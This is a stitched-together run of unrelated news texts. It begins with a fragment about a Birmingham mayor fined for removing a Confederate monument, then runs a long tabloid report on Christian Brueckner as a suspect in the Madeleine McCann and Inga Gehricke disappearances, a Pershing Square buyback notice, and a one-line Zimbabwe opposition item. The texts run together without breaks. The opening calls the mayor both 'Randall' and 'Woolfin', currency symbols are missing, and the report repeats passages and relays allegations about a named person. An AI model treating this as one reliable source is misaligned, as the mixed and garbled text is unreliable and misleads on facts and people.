Mr Marshall wrote that moving the 115-year-old Confederate Soldiers and Sailors monument in Birmingham would have necessitated a waiver.

Without one, Mr Randall is set to be issued with a one-time $25,000 (19,772) penalty, which would then go to the states Historic Preservation Fund.

Mr Randall promised crowds on Sunday night that he would "finish the job" of pulling down Birminghams tallest confederate monument, after demonstrators toppled and defaced other statues

The mayor defended his decisions on Wednesday, when he told the Today show that his move to dismantle the monument was to reduce tensions among those protesting George Floyds killing in Minneapolis police custody last week.

"I chose my city to avoid more civil unrest," said Mr Woolfin. "It's probably better for this city to pay this civil fine than to have more civil unrest."

It comes almost three years after Mr Woolfins predecessor, William Bell, was also threatened with legal action when he ordered the same monument to be covered amid violent protests in Charlottesville, Virginia, in 2017.

Demonstrations since George Floyds death have escalated the removal of, and discussion around, confederate monuments in numerous states, where most consider the memorials to be outdated and racist relics of the past.
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Police will search an abandoned box factory in Germany where the prime suspect in the Madeleine McCann case lived in a caravan shortly after a five-year-old girl vanished nearby in 2015, it was revealed today.

Prosecutors have re-opened the investigation into whether Christian Brueckner abducted Inga Gehricke after she was grabbed from Diakoniewerk Wilhelmshof in Saxony-Anhalt during a family outing five years ago.

Her disappearance on May 2, 2015 - almost eight years to the day after Madeleine vanished in Portugal on May 3, 2007 - was only 48 miles away from where Brueckner lived on the ramshackle five-acre in the isolated of village of Neuwegersleben, south-east of Hanover.

More than 100 officers descended on the old box factory in February 2016, digging holes looking for Inga's body.

The little girl wasn't found but Brueckner's USB stash of child sex abuse images was found on a USB stick hidden under 'animal bones' with police now set to return, according to German tabloid Bild.

Brueckner was prosecuted over the child porn but he was never charged with Inga's disappearance when the probe was dropped after four weeks.

But today prosecutors confirmed they have reopened a preliminary investigation into whether he was involved in the unsolved Inga case.

Police are set to return to this abandoned box factory in Neuwegersleben, Germany, where Christian Brueckner lived in a caravan and hid child porn among animal bones. Police raided it in 2016 looking for missing Inga Gehricke

It is not clear if the paedophile owned the abandoned box factory or part of it - but he is known to have been living there in a caravan behind its gates

Inga Gehricke vanished from Diakoniewerk Wilhelmshof in Saxony-Anhalt during a family outing on May 2, 2015 in an case that detectives have been unable to solve ever since. Prosecutors confirmed they have reopened a preliminary investigation into whether Christian Brueckner (pictured in 2018) was involved in the unsolved Inga case

More than 100 police officers descended on the site in February 201 (pictured), digging holes looking for missing Inga

It came as documents revealed by Spiegel allegedly show Brueckner fantasised in disgusting online chats about the kidnapping and sexual abuse of a child in September 2013.

He is said to have told one acquaintance he wanted to 'capture something small and use it for days', and that it would be safer if 'the evidence is destroyed afterwards'.

As police tried to gather the evidence to charge him with Madeleine McCann's abduction, it also emerged today:

Brueckner is allegedly going to be eligible for parole this weekend having served two-thirds of a sentenced for drugs charges at Kiel prison in Germany;

The mystery caller who spoke with Brueckner minutes before Madeleine was abducted has been named as Diogo Silva by Portuguese media;

More details of his child abuse has emerged including a sex attack on a nine-year-old girl and exposing himself to a six-year-old;

Madeleine's parents have been 'encouraged' by the results of the latest appeal with Scotland Yard already receiving more than 270 calls and emails;

A friend who lived above his shop claims he was violent, beating up his underage Kosovan girlfriend and cruelly locking up his dogs in a shop 'for weeks';

Brueckner is said to have had a relationship with an unnamed British woman while living in Praia da Luz in 2004.

Brueckner is currently behind bars in Germany serving 21 months for dealing drugs.

While he was in prison last December he was also found guilty of raping a 72-year-old American tourist in Praia da Luz 18 months before Madeleine disappeared. The seven-year jail term for this conviction will not start until his appeal has been heard.

Inga has often been labelled the German equivalent of Madeleine, who went missing aged three during a family holiday on the Algarve in Portugal on May 3, 2007.

Now, it is believed that police investigated Brueckner, 43, in February 2016 over the disappearance of Inga, according to Saxony-Anhalt newspaper Volksstimme.

Detectives reportedly discovered a device at his home containing child pornography and it has been said he had no alibi for the day in question when Inga went missing.

Also, one day before Inga's disappearance, he was at the wheel of a car in a parking accident at an autobahn service station in Helmstedt 55 miles from where Inga lived.

But it appears no further action was taken against him in relation to Inga, which has been questioned by lawyer Petra Kullmei, who represents the girl's mother.

Christian Brueckner (left), 43, is now the prime suspect in the disappearance of Madeleine McCann (right), who vanished from her family's holiday apartment in Portugal on May 3, 2007

In 2014, Brueckner was said to have been living at a house on this road in Braunschweig, near Hanover, where he told friends he had opened a shop and worked from 7am until midnight

Inga's disappearance on May 2, 2015 was almost eight years to the day after Madeleine vanished in Portugal on May 3, 2007

Justizvollzugsanstalt Kiel in northern Germany where Brueckner is currently being held in jail

Mr Kullmei, who is calling for a new investigation, told Volksstimme: 'The file was closed again only four weeks after starting work. I think that's not very ambitious.'

However, Stendal Public Prosecutor's Office spokesman Birte Iliev said today: 'It is now being examined whether there is any new evidence in connection with the murder suspect in Braunschweig.'

Brueckner, who has been labelled a 'multiple sexual predator' by prosecutors, is said to have been convicted of a child sex offence in Germany when aged just 17.

Yet the drifter, who reportedly has as many as 17 criminal convictions, was apparently overlooked by Portuguese police during their Madeleine probe.

Brueckner, who is in jail in Kiel, Germany, was also convicted of raping a 72-year-old US widow in her Algarve home 18 months before Madeleine disappeared.

But Brueckner only became a suspect for Scotland Yard in 2017 when he is said to have told a friend at a bar he 'knew all about' what had happened to Madeleine.

Madeleine disappeared while her parents, from Rothley in Leicestershire, were having a meal with friends at a tapas bar close to their apartment in Praia da Luz.

Inga, who had blonde hair and blue eyes, had been having a barbecue with her family at an apartment complex in a forest when she disappeared.

She is believed to have wandered off to collect wood to light a campfire but never returned, prompting more than 500 people to search for her.

Police say Brueckner may have been living in this campervan at the time Madeleine vanished

Brueckner had lived in this remote villa overlooking Praia da Luz from 1999 to 2006

The farmhouse where the new prime suspect in Madeleine McCann's disappearance lived was located just two miles from where she went missing from her family's holiday apartment

Police dogs also failed to pick up the scent of Inga who had been wearing a butterfly T-shirt, blue jeans and her hair in two plaits and vanished at about 6.30pm.

Brueckner had lived in a remote farmhouse overlooking Praia da Luz from 1999 to 2006 and may have been living in a campervan at the time Madeleine disappeared.

But not long after Madeleine vanished in 2007, he left Portugal and returned to his homeland - where he was later said to own the property in Neuwegersleben.

In 2014, he was said to have been living in Braunschweig, near Hanover, where he told friends he had opened a local shop and worked from 7am until midnight.

Sources have said that a German national serving time in prison in northern Germany would likely face trial in his homeland rather than be extradited to Britain.

The Metropolitan Police in London has always insisted that if the suspect is a UK national, it will push for them to be charged and prosecuted in Britain.

But in the case of a foreign suspect, it would be extremely difficult to extradite them to the UK for a crime committed overseas.

The Portuguese authorities could seek to pursue the case as the offence occurred there. But sources said the German investigation would be likely to take primacy.

Madeleine's parents Kate and Gerry McCann are pictured in London in October 2014

Madeleine's parents are 'encouraged' by the results of the latest appeal over their daughter's disappearance, their spokesman Clarence Mitchell said today.

Scotland Yard's Operation Grange received more than 270 calls and emails less than 24 hours after revealing details of the new suspect.

Mr Mitchell said her doctor parents, Kate and Gerry McCann, from Leicestershire, are 'trying to maintain as normal a life as possible' and awaiting updates from police.

'Two hundred and seventy calls and emails isn't a bad result, given it was 13 years ago,' he said.

'They certainly will be encouraged to know the appeal is yielding results already and hopefully within that there will be crucial bits of information the police can act upon.'

How the unsolved case of missing Inga Gehricke, five, involved a search team of 500 people after she wandered off to collect wood Inga Gehricke, five, had been having a barbecue with her family on May 2, 2015 The disappearance of five-year-old Inga Gehricke during a trip to a forest area in Saxony-Anhalt prompted a huge search involving 500 people. She had been having a barbecue with her family at an apartment complex in Diakoniewerk Wilhelmshof on May 2, 2015 when she disappeared. The girl is believed to have wandered off to collect wood to light a campfire at about 6.30pm but never returned. Police dogs also failed to pick up the scent of Inga who had been wearing a butterfly T-shirt, blue jeans and her hair in two plaits. One of the main suspects was former security guard Silvio Schulz, but he denied involvement police were never able to prove any link. In July 2016, Schulz was handed a life sentence for murdering two children, one of them a four-year-old Bosnian boy snatched from a migrant registration centre the year before. Police also allegedly investigated Christian Brueckner and found a device at his home with child pornography, but could not prove any link to Inga's case. In June 2017, officers formally dropped the probe into Inga's disappearance. Inga had been on the trip with her parents Victoria and Jens-Uwe Gehricke, as well as her three siblings Maxim, 15, Julius, 13, and eight-year-old Freya. Speaking in April 2017, Mrs Gehricke told Stern magazine that her 'feeling tells me that she is still alive', while her husband said: 'I still have the hope that she will be found. But the hope that she will come back alive goes to zero for me.' Advertisement

Jaguar-driving wannabe playboy who was actually a drug-dealing drifter  and child sex predator

Brueckner, 43, in a bar in Hanover in 2011

Cruising the Algarve in his classic Jaguar, Christian Brueckner posed as a fun-loving playboy.

The German drifter spent 12 years pursuing a bohemian lifestyle  but not long after Madeleine McCann vanished in 2007, he left Portugal and returned to his homeland.

It was in a German bar exactly ten years later  on the anniversary of the three-year-old's disappearance  that Becks-drinking Brueckner turned the spotlight on himself.

As Madeleine's face flashed up on the bar's television screen, he reportedly turned to his drinking partner and claimed he 'knew all about' the case. He is alleged to have said something to suggest he knew what had happened to Maddie, according to a report on Sky News.

Later, it is claimed, he showed his companion a video of himself raping an elderly American widow in Portugal in 2005. The friend contacted German police.

Brueckner  who chose a moniker for his Facebook page that means 'madness' in German  swiftly became of interest to the detectives probing Madeleine's disappearance. It was three more years before his name became public.

Photographs obtained by the Mail show blue-eyed Brueckner enjoying a night out in a Hanover bar in 2011. Wearing a pinstriped blazer, the self-styled Romeo appeared to be enjoying himself with a group of friends. One picture shows him cradling a small dog.

Last night one friend told the Mail that Brueckner's 'life situation' was 'a bit chaotic', but added that 'if everything is true then he was indeed a master of illusion'.

Brueckner retained his prized 1993 Jaguar XJR6. The day after Madeleine vanished, he re-registered the classic British car to someone else, even though he was still driving it

McCann suspect 'could be out of jail in DAYS' The paedophile prime suspect in the Madeleine McCann probe is allegedly eligible for parole this weekend. Christian Brueckner is currently behind bars in Germany serving 21 months for dealing drugs. While he was in prison last December he was also found guilty of raping a 72-year-old American tourist in Praia da Luz just 18 months before Madeleine disappeared. The seven-year jail term for this conviction will not start until his appeal has been heard. His legal battle with the German authorities over the rape case means he could walk free within days having served two-thirds of his drugs sentence at Kiel prison, according to the German newspaper Frankfurter Rundschau . The paedophile was arrested while living on the streets of Milan in late 2018 on a European Arrest Warrant over the Algarve rape of the American. He was brought back to Germany and charged in August 2019. A month earlier he was convicted of drug dealing in the German resort of Sylt and handed the 21-month term he is currently serving. In December 2019 a court in Braunschweig, where he had lived before fleeing to Italy, convicted him of the rape because DNA from his hair was found in the woman's holiday home - making it a 244billion to one chance it was not him, the judge was told. But he is appealing the rape verdict on the grounds his extradition from Italy was illegal with Germany's Federal High Court due to rule on the case, and if they find against him he will then start his seven-year sentence. German legal experts said last night that his appeal means he is on the verge of getting parole and could get his freedom as early as Sunday. Advertisement

In fact, despite the Renaissance man image he seemed desperate to cultivate, Brueckner, 43, has long tried to hide a gruesome life of crime ranging from petty thefts to horrific sexual assaults.

Born in 1976, Brueckner was raised 'in a home' according to German news magazine Focus.

He committed his first burglary in his home town of Wuerzburg in Bavaria when he was just 15.

Within two years, he was convicted of sexually abusing a child, earning him a two-year youth sentence in 1994. A report by Germany's Der Spiegel claimed he served only part of this term.

Brueckner went on to notch up convictions for drug dealing, driving under the influence and without a licence, the news magazine reported. As a young man, Brueckner is said to have dreamed of emigrating with his girlfriend of the time. After turning 18  and acquiring a driver's licence  he took off to the Algarve town of Lagos with his girlfriend, the German newspaper Bild reported.

It quotes him as saying: 'We didn't know anything about Portugal. We went to Lagos because we liked the name so much. We had a tent with us and camped in the wild.'

He eventually settled in Praia da Luz  the picturesque resort where the McCanns took their three children on holiday.

Brueckner stayed there for 12 years, telling families he was working as a caterer and odd-job man. In truth, he was dealing cannabis, trafficking drugs and burgling holiday homes and hotel rooms.

He was briefly locked up for diesel theft, and is also said to have traded passports and stolen goods, according to Bild.

He initially lived in a dilapidated house accessed by a dirt road. 'In terms of furnishings, it was a typical bachelor's apartment,' said one acquaintance. After a decade on the Algarve, Brueckner burgled a 72-year-old American widow and subjected her to a violent sexual assault, which he recorded on camera.

The month before Madeleine disappeared, he moved out of his villa and into a VW Westfalia

By this time Brueckner is thought to have been living in a rented whitewashed villa on a remote hillside  above the beach where the McCanns played during their week's holiday.

Neighbours described him as an 'angry' car dealer who raced along country roads. They say that when he vanished, he left behind a collection of exotic clothing, including wigs and fancy dress. Brueckner left Portugal after Madeleine disappeared on May 3, 2007. The previous month, he had moved out of the villa and into a VW Westfalia campervan. Police have now linked this vehicle to Maddie's disappearance.

The interior of the house on the Algarve in Portugal where Brueckner lived from 1999 to 2006

So where would Brueckner stand trial? Christian Brueckner would be unlikely to face trial in the UK if any charges were brought over the disappearance of Madeleine McCann. German prosecutors and the Federal Criminal Police Office, known as BKA, have made it clear that they are pursuing potential murder charges. In a Crimewatch-type appeal made on German TV programme Case Files XY Unsolved, the crime director of the BKA suggested that the police investigation was advanced. Christian Hoppe told Wednesday's show that officers believed they had almost enough evidence to bring charges over Madeleine's abduction and murder. In comparison, Scotland Yard have never mentioned charges. If any criminal charges were to be brought, the issue of jurisdiction would arise. But sources said yesterday that a German national serving time in prison in northern Germany would likely face trial in his homeland rather than be extradited to Britain. The Metropolitan Police has always insisted that if the suspect is a UK national, it will push for them to be charged and prosecuted in Britain. But in the case of a foreign suspect, it would be extremely difficult to extradite them to the UK for a crime committed overseas. The Portuguese authorities could seek to pursue the case as the offence occurred there. But last night, sources said the German investigation would be likely to take primacy. Advertisement

Brueckner also retained his prized 1993 Jaguar XJR6. Scotland Yard has now revealed that the day after Madeleine vanished, Brueckner re-registered the classic British car to someone else, even though he was still driving it. After returning to Germany, Brueckner continued stealing and drug-dealing. In October 2011, a district court in the northern state of Schleswig-Holstein sentenced him to one year and nine months for a crime involving 'narcotics in large quantities'. The term was initially suspended.

By 2014, Brueckner was living in Braunschweig, near Hanover, where he boasted to friends he had opened a local shop.

He claimed he worked from seven in the morning until midnight but the business, along with his relationship, failed and he began to hit the bottle and live on benefits. In 2016 he was sentenced to one year and three months' imprisonment for 'sexually abusing a child in the act of procuring himself and possessing child pornography'.

After his bar-room claims about Madeleine in May 2017, Brueckner appears to have returned to the Algarve. Within a month he was held under a European Arrest Warrant and extradited back to Germany. That September, he was sentenced to another year in prison for the sexual abuse of a child according to Thomas Klinge, spokesman for the Hanover public prosecutor's office.

After his release in August 2018, he later told a court, he was homeless, spending nights sleeping on park benches. He travelled to Milan  but within a month he was arrested and extradited to Germany yet again, this time to face trial for drugs offences.

In October 2018, he was convicted of dealing drugs and sent to prison in Kiel in Schleswig-Holstein, where he remains to this day. Prosecutors also had enough evidence to charge him with the horrific sex attack he had filmed 13 years earlier.

His rape trial took place last December. Reports of the proceedings descibe Brueckner as 'eloquent' and state he leafed through legal texts as evidence was heard. He called what had happened to the traumatised pensioner a 'bad deed', but denied any role in it.

In court he repeatedly mentioned the names of ex-lovers, insisting they would testify as to the 'normalcy' of his sex life.

He branded witnesses as liars and claimed that DNA from a strand of hair used to convict him must have ended up on the victim's bed after he had petted one of her cats. Yet as so often before, the court rejected his denials and Brueckner was sentenced to seven-and-a-half years, pending the outcome of an appeal.

One trial witness described Brueckner as someone who 'always paid attention to his appearance'. As the Madeleine case enters a dramatic new phase, there will certainly be a lot more attention paid to him now.

'He gave me his Jaguar - but he never mentioned Maddie', says friend who let Christian Brueckner live in his attic after he fled Praia da Luz Augsburg resident Alexander Bischof A friend of Christian Brueckner let him live in his attic just after he fled Praia da Luz, and even looked after the Jaguar at the centre of the Madeleine McCann probe, it was revealed today. 'This is still unimaginable,' said Augsburg resident Alexander Bischof, who says he met him 12 or 13 years ago. 'He said he needed help and was looking for an apartment in Augsburg'. He was driving a Jaguar, which he bought from the mutual acquaintance. 'Because I'm also a Jaguar lover, we had a topic of conversation right away,' says Bischof. At one point he offered Brueckner the opportunity to stay with him and his wife if he wanted to. He said Brueckner was 'often underway - sometimes he traveled to Portugal, sometimes to Sylt, to Munich. In between, he spent nights sleeping in my attic.' Otherwise, he stayed in his VW bus. Most of the time he went to Portugal, where he is said to have had a girlfriend. Once he took them into Augsuburg to meet his girlfriend where they spoke to each other in English. 'At some point I reached the conclusion that he was involved with drugs,' he added, and was in prison in Portugal for two or three months, during which time he handed over the Jagguar car to him. 'When he came out, he was back here quickly, I didn't know more at the time,' he says. Later, he gave the car over to an acquaintance in Munich. 'He always made surprisingly quick decisions,' he added. After some time Bishop distanced himself from Brueckner. 'He uses my living quarters and he's involved with drugs - I couldn't handle that,' he said. 'I thought I couldn't do that,' Bishop said. 'After a few years the law stood at my door. The police wanted to search the living quarters where he had stayed.' At that time he learned that he had 'some things in his past.' He did not know what. Only that it would be a 'capital crime'. During a re-interrogation, the officials mentioned the name 'Maddie'. When Bishop first heard about the murder allegations he was shocked. He said; 'We never talked about young children, our conversations were about cars, football and Portugal, men's stuff.' Advertisement

His view over Maddie resort: 25 minutes' walk from Praia da Luz, home where suspect lived at time of three-year-old's abduction...and which neighbours say he left a ramshackle mess

Nestled into the hillside, this is the remote farmhouse which gave Christian Brueckner unrivalled views of Praia da Luz.

The convicted child sex offender is now a key suspect in the disappearance of Madeleine McCann in May 2007.

When Brueckner lived in the farmhouse above Praia da Luz, he seldom mixed with his neighbours and allowed the property to fall into disrepair.

Last night one neighbour told the Daily Mail: 'I immediately recognised him from the pictures in the media. He kept to himself and lived with a girlfriend for some of the time.'

Brueckner, now 43, is understood to have lived in the farmhouse from 1999 to 2006 and may have been living in a distinctive campervan at the time Madeleine disappeared.

The single-storey property is surrounded by disused water wells and sits on a hillside which leads on to a footpath to the beach where the little girl played. It also sits close to where Madeleine's parents Gerry and Kate used to jog along the clifftop in search of solace during the aftermath of her disappearance.

The farmhouse is a 25-minute walk to the Ocean Club complex where Madeleine was on holiday with her parents and her twin siblings Sean and Amelie.

In 2014 police sealed off an area of scrubland close to the farmhouse and used ground-penetrating radar to detect whether the soil had been disturbed.

Another neighbour said of Brueckner last night: 'He moved in in the mid-Nineties with a German girlfriend who left around a year and a half later. They seemed to have a tempestuous relationship. I would hear them arguing. I knew very little about his life but he seemed to me to be a choleric man.'

When Brueckner lived in the farmhouse above Praia da Luz (pictured), he seldom mixed with his neighbours and allowed the property to fall into disrepair

Another added: 'He had a fall-out with another German he sub-let the place to for around six months. He treated him very badly.

'But I never for one moment suspected he could have had anything to do with Madeleine McCann's disappearance. It's something that never even crossed my mind. His life was pretty much of a mystery to people round here. His girlfriend left a long time ago and she hasn't been seen around here since.'

A third neighbour said: 'This is an idyllic spot and we are all proud of our houses and look after them. But this guy let his place go to ruin. He left it looking a right mess and it took the owner some time to make it right.'

The owner of the property is a British man who rented it to the German suspect and his girlfriend. The homeowner, who asked to remain anonymous, said both UK and Portuguese police have asked for his help relating to background information on Brueckner.

He said: 'In 2006 my neighbour contacted me in the UK to say that the house had been left ramshackle and abandoned with no sign of occupancy.

Brueckner, now 43, is understood to have lived in the farmhouse from 1999 to 2006 and may have been living in a distinctive campervan at the time Madeleine disappeared

'We returned to Portugal and reported the disappearance to the Portuguese police and later discovered that he may have been arrested. This was the last we heard from him until about a year ago when we were contacted by the UK and Portuguese police requesting what information we had as they were following a new line of inquiry relating to this person.'

Speaking to Sky News, he added: 'My wife and I moved back to the UK in 1992. The house was let out to friends and friends of friends to maintain occupancy, look after the land and pay the bills.

'The house was occupied for a period of time by what seemed like an ordinary young couple trying to get by in Portugal. Living in England, we had relatively little interaction besides talk of the house, the land and any maintenance issues. We met in person when passing through on family holidays to the Algarve. At a later date we discovered that the man's girlfriend had parted company and returned to Germany.'

Police are now trying to trace Brueckner's ex-girlfriend to establish a full picture of the suspect's movements on the Algarve. She is thought to have left Praia before Madeleine's disappearance.

Brueckner, a known drifter, also spent time dog-sitting for German friends at a house in Monte Judeu, a few miles from the seaside.

Bungled from the start: Taking so long to suspect a man with Christian Brueckner's profile is just the latest in a long line of apparent blunders that have dogged the Madeleine McCann inquiry  right from those fateful first hours

Police face serious questions over why it took a decade to identify convicted sex offender Christian Brueckner as a key suspect.

Portuguese detectives are under renewed scrutiny after it emerged Brueckner had been convicted of paedophile offences in 1994, when he was 17, before he arrived in Praia de Luz.

He received a two-year sentence in Bavaria for 'abuse of a child' and 'sexual acts against a child', according to German magazine Der Spiegel, which reported he has at least 17 entries on his criminal record.

The Daily Mail can reveal that Brueckner emerged as a 'person of interest' for British police early on in a major Scotland Yard review of the case that started in 2011.

Cashing in: Ex-Portuguese police chief Goncalo Amaral. He wrote a book accusing the parents Kate and Gerry McCann

Shameful treatment: Kate (pictured in 2007) and Gerry McCann had to live under the shadow of suspicion

However, even after this was upgraded to a multi-million-pound full investigation two years later, he did not emerge as a key suspect until 2017.

Portuguese detectives have been widely criticised in the past over a string of elementary mistakes which hampered the investigation.

At the time of Madeleine McCann's disappearance, Brueckner was known to have previously lived two miles from the resort where she vanished and was still living in the area in his campervan.

Sources said that if Portuguese officers had done basic groundwork, including comprehensive door-to-door inquiries, and identified known sex offenders including foreign nationals living locally, his name could have emerged as a potential suspect within months.

Last night, a source said that Brueckner's name cropped up after Met detectives began probing the case but there was no firm evidence then linking him to Madeleine's disappearance.

Taped-off: It was hours before the crime scene was protected. Portuguese police officers are pictured on duty in Praia da Luz

'He was an itinerant whose exact whereabouts on the night could not be established,' the source added. 'This is why he was not treated as a suspect at that stage.' It was only in 2017 that Brueckner emerged as a potential key suspect, after German police were tipped off about his possible involvement.

According to German law enforcement officials, Brueckner lived almost permanently in the Algarve between 1995 and 2007.

Portuguese police closed the inquiry into Madeleine's disappearance in 2008 after claiming there were no more leads to pursue. The inquiry was shelved after the missing girl's parents, Kate and Gerry McCann, were wrongly implicated in the case.

Amateurish: police smoked in the McCanns' apartment. Pictured: a forensic expert takes a sample from the blinds of the apartment where the family were staying in 2007

THE PROLIFIC CRIMINAL

According to Der Spiegel, Brueckner's criminal record contains 17 entries and he has been investigated for 'driving without a licence, assault, serious theft and drunk driving'. The magazine reported that according to the Federal Central Register, aged 17 he stood trial in Bavaria in 1994 for 'abuse of a child' and 'sexual acts against a child'. The district court of Wurzburg imposed a two-year 'youth sentence', of which he served only part.

It also said yesterday that in October 2011 the district court in Niebull, northern Germany, jailed Brueckner for 21 months for drug offences, while in 2013 the district court in Braunschweig, near Hanover, jailed him for 15 months for 'sexually abusing a child and possessing child pornography'.

He was last in court in Germany in December over the rape of a 72-year-old American tourist in the Algarve in 2005, for which he received a seven-year jail term.

Julian Reichelt, editor-in-chief of Bild, said the new key suspect  who is fighting his rape conviction  is currently in prison in the German city Kiel.

Not revealing the suspect's full name, Mr Reichelt said: 'Everything we have heard so far publicly has been around and basically known to police in Germany and Britain for years.

'We are hearing that there was an additional push towards looking at 'Christian B' another time and that's when the police reviewed all the pieces again and opened a murder case investigation.

'He has been convicted of child abuse as early as 1994. He was born in 1976, he's 43 years old.

'That means early in his life already there was a record of child abuse. And it wasn't the only time.

'There are numerous other convictions, drug convictions, driving under the influence, driving without a licence. It is a huge, numerous page-long criminal record that we have seen.'

Pictured is a sketch that was done of a suspect by the detectives working on the case - which features only hair

THE BOTCHED PORTUGUESE INQUIRY

The disappearance of Madeleine from the Ocean Club resort in Praia da Luz in May 2007 was mishandled by Portuguese detectives from the very beginning.

The immediate aftermath of a child going missing  the so-called golden hour  is seen as a critical phase of a case by experienced detectives. But Portuguese officers, woefully out of their depth according to British police sources, took four days even to issue a description of the missing girl.

They failed to lock down the resort or set up road blocks because they assumed she had just wandered off.

The McCanns' apartment was not taped off until 10am the following day, by which time dozens of people had traipsed through the crime scene and contaminated potentially vital evidence.

Ash from policemen's cigarettes would be found among contaminated forensic samples from the flat. Not all the staff and guests at the Ocean Club were traced and interviewed. Those who were interviewed were not always properly eliminated.

And a photofit picture of an early suspect consisted of nothing more than the sketch of a face with hair parted on one side but with no eyes, nose or mouth.

Portuguese police closed the inquiry into Madeleine's disappearance in 2008 after claiming there were no more leads to pursue. The inquiry was shelved after the missing girl's parents, Kate and Gerry McCann (pictured), were wrongly implicated in the case

The catalogue of mistakes and official complacency was almost endless and culminated in a shameful shadow of suspicion over Kate and Gerry McCann, who were treated as suspects themselves until their 'arguido' (suspect) status was removed in 2008, the same year as the inquiry into Madeleine's disappearance was formally suspended. There were, declared the Portuguese police, simply no more leads to pursue.

Maddie police: We need more money to keep probe going Scotland Yard has requested more funding for its 12million search for Madeleine McCann. It has reportedly applied to the Home Office for more money so it can continue its nine-year investigation, known as Operation Grange. The investigation was launched in 2011 and it has already received more than 12million in special grants from the Home Office. Last year it was given 300,000 so it could continue for another year. Officers insist that the decision to make a new public appeal over the latest development was not connected to a request for further taxpayer funding. The original Portuguese investigation was shelved in 2008 and Madeleine's parents used public donations to pay private investigators. They continued to lobby successive home secretaries to launch a British police investigation and finally succeeded in 2011, when then Home Secretary Theresa May announced a Scotland Yard review of the case. Operation Grange initially had 29 officers working on it. They took 1,500 statements from potential witnesses and collected more than 1,000 exhibits. Detectives travelled regularly to the Algarve to liaise with their Portuguese counterparts and oversaw exploratory digs in the area around Praia da Luz, where Madeleine vanished. By 2015 the inquiry was scaled back and the number of officers was reduced to four. But funding continued every six months to keep the investigation open. In 2018 police said the inquiry had examined 60 'persons of interest' and investigated 650 sex offenders. By June last year Operation Grange had received 11.75million and was expected to be given a further 300,000. It is not known how much Scotland Yard has said it will need to continue its current line of inquiry, which involves liaising with police in Germany. Money is given by the Home Office through special grant funding, which is available to any police forces facing significant or exceptional costs. Madeleine's parents Kate and Gerry McCann have continued to raise money to fund a private search. The couple launched a crowdfunding appeal after she vanished and raised nearly 2million within ten months. They also won financial backing from wealthy benefactors. The Home Office refused to comment on the funding application which is due to be considered later this year. Advertisement

In 2016, retired police officer Goncalo Amaral, who had led the search for Madeleine, won his appeal against a court ruling that he libelled her parents.

The McCanns had sued the ex-police chief over claims he made about them in a book.

They were initially awarded 358,000 damages by a Portuguese court. But Mr Amaral's successful appeal meant his book criticising the McCanns could be sold again. Portugal's supreme court later rejected an appeal by the couple.

VITAL PHONE CLUES NOT PURSUED

It was only after Scotland Yard, at the behest of then prime minister David Cameron, launched a two-year review of the McCann case in 2011, that evidence was properly accessed and analysed.

Basic groundwork, including research into mobile phone data in Praia da Luz on the day that Madeleine disappeared, was not done until an elite team of Met officers on Operation Grange were asked to investigate. Although the Policia Judiciaria had this information at the time she vanished, they did not find out who the phones were registered to  even though cell-site analysis is a crucial investigative tool and the catalyst for solving countless crimes.

The oversight seems more critical now, after Scotland Yard released details this week of the phone number believed to have been used by Brueckner on the night Madeleine disappeared.

Speaking in October 2013, Detective Chief Inspector Andy Redwood, then leading the Met inquiry, said officers were examining a 'substantial amount of data' from thousands of mobile phones thought to belong to people who were in the resort of Praia da Luz in the days just before, during and after Madeleine's disappearance. 'This is not just a general trawl,' Mr Redwood said.

'It's a targeted attack on that data to see if it assists us to find out what happened to Madeleine McCann at that time.'

Officers had so far been unable to attribute a 'large number' of mobile numbers, he added, admitting that it was difficult to do so with phones bought six years previously on a pay-as-you-go basis.

Jim Gamble, the former head of the UK's Child Exploitation and Online Protection Centre, said he had recommended the 'cell dump' was looked at again in his 2010 review of the case.

Speaking in 2013, he said it appeared the data 'wasn't properly or appropriately interrogated' at the time. In UK investigations, he would expect the data to have been examined almost immediately, he said, but the 'complex nature and geography' had made it more difficult.

The senior Scotland Yard detective who oversaw the two-year-review of the McCann before he retired told the Daily Mail in 2013 it was 'perfectly probable' that information that could identify the suspect responsible for Madeleine's disappearance was already in the Portuguese files.

'Of course, there is a possibility she is still alive,' said former Detective Chief Superintendent Hamish Campbell. 'But the key is to investigate the case and, dead or alive, we should be able to try to discern what happened..'

With German prosecutors saying they believe Madeleine is dead, there appears very little cause for optimism, her case now effectively a murder investigation. Forensic tests on Brueckner's old campervan have not yielded any clues.

With no body, no forensic evidence and no confession, detectives may struggle to gain justice for her and her family.
Regulatory News:

Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) ("PSH") today announced that it has purchased, through PSH's agent, Jefferies International Limited ("Jefferies"), the following number of PSH's Public Shares of no par value (ISIN Code: GG00BPFJTF46) (the "Shares"):

Trading Venue: London Stock Exchange Ticker: PSH Date of Purchase: 5 June 2020 Number of Public Shares purchased: 24,130 Shares Highest Price Paid Per Share: 1,970 pence 25.03 USD Lowest Price Paid Per Share: 1,936 pence 24.60 USD Average Price Paid Per Share: 1,952 pence 24.80 USD Ticker: PSHD Date of Purchase: 5 June 2020 Number of Public Shares purchased: 16,000 Shares Highest Price Paid Per Share: 24.75 USD Lowest Price Paid Per Share: 24.50 USD Average Price Paid Per Share: 24.73 USD Trading Venue: Euronext Amsterdam Ticker: PSH Date of Purchase: 5 June 2020 Number of Public Shares purchased: 46,762 Shares Highest Price Paid Per Share: 25.00 USD Lowest Price Paid Per Share: 24.35 USD Average Price Paid Per Share: 24.68 USD

PSH will hold these Public Shares in Treasury. The net asset value per Public Share related to this buyback is 34.24 USD 27.72 GBP which was calculated as of 31 May 2020 (the "Relevant NAV"). After giving effect to the above buyback, PSH has 196,787,553 Public Shares outstanding, or 202,706,533 Public Shares calculated on a fully diluted basis (assuming that all Management Shares had been converted into Public Shares at the Relevant NAV). Excluded from the shares outstanding are 14,169,197 Public Shares held in Treasury. The prices per Public Share were calculated by Jefferies.

The number of PSH Management Shares and the one special voting share (held by PS Holdings Independent Voting Company Limited) have not been affected.

About Pershing Square Holdings, Ltd.

Pershing Square Holdings, Ltd. (LN:PSH) (LN:PSHD) (NA:PSH) is an investment holding company structured as a closed-ended fund that makes concentrated investments principally in North American companies.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005503/en/

Contacts:

Media

Camarco

Ed Gascoigne-Pees Hazel Stevenson +44 020 3757 4989, media-pershingsquareholdings@camarco.co.uk
The Movement for Democratic Change Alliance led by Nelson Chamisa claims that its offices were Thursday night invaded by state security agents, who helped the Thokozani Khupe MDC-T to take over Morgan Richard Tsvangirai House in Harare.

